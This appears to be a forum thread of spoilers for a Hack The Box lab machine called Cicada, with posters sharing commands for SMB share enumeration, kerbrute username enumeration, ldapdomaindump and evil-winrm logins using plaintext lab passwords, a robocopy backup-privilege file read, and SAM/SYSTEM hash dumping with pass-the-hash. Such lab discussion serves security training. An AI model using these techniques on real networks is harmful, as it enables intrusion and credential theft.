[etcshadow]

it was one of the easiest box

[hackemall]

someone got root in 3min 33sec tell me how that can be done please

[etcshadow]

you can dump sam and system with emily and then pash the admin hash with evil-winrm ... you gonna find root.txt in the desktop
ofc you can crack the password if you want but you don't need to

[hackemall]

and you can do that in 3 min

[Mas_PangaREP]

Easy User and Root

User :

`evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' `

Root :

`robocopy C:\Users\Administrator\Desktop C:\Users\Public root.txt /B`

`type C:\Users\Public\root.txt`

thank you dude, thats help me a lot

[4ip0k]

You can find an open SMB share: smbclient  \\\\IP_ADDRESS\\DEV -N
And inside of it you'll find an HR note with a password: Cicada$M6Corpb*@Lp#nZp!8
There's another share named DEV with access denied

can you tell me why when I try to enter the command dir or ls I get an error: 

smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*

smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

P.S. That's it, I figured it out

[Unbutton8074]

Easy User and Root

User :

`evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' `

Root :

`robocopy C:\Users\Administrator\Desktop C:\Users\Public root.txt /B`

`type C:\Users\Public\root.txt`

thank you dude, thats help me a lot

do it right way via sam, security and system to get interactive shell

[Synntek0xe9]

How did you guys got access to david.orelious? I saw password for emily is there.
Want to improve, thanks in advance

[Edit]

Ok i found it. It's ldapdomaindump ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 

which was at the beggining of the thread

I tried windapsearch.py, bloodhound-python, and ldapsearch but couldn't make any of this work. Thanks for new tool


[Edit]

It was in the bloodhound. I missed it.

[hackemall]

kerbrute    Version: v1.0.3 (9dad6e1) - 09/28/24 - Ronnie Flathers @ropnop

2024/09/28 14:25:50 >  Using KDC(s):
2024/09/28 14:25:50 >      10.10.11.35:88

2024/09/28 14:25:51 >  [+] VALID USERNAME:    michael.wrightson@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    sarah.dantelia@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    john.smoulder@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    emily.oscars@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    david.orelious@cicada.htb
2024/09/28 14:25:51 >  Done! Tested 5 usernames (5 valid) in 0.073 seconds

Which command did you run?

kerbrute userenum --dc <IP> -d cicada.htb <PATH-TO-WORDLIST>

that doesn't explain the wordlist. orelious is not a common surname

I used crackmapexec --rid-brute flag

[kirikiri]

kerbrute    Version: v1.0.3 (9dad6e1) - 09/28/24 - Ronnie Flathers @ropnop

2024/09/28 14:25:50 >  Using KDC(s):
2024/09/28 14:25:50 >      10.10.11.35:88

2024/09/28 14:25:51 >  [+] VALID USERNAME:    michael.wrightson@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    sarah.dantelia@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    john.smoulder@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    emily.oscars@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    david.orelious@cicada.htb
2024/09/28 14:25:51 >  Done! Tested 5 usernames (5 valid) in 0.073 seconds

Hello sr, I can ask you if you know where I can find a good list of firstName.lastName or last name words to generate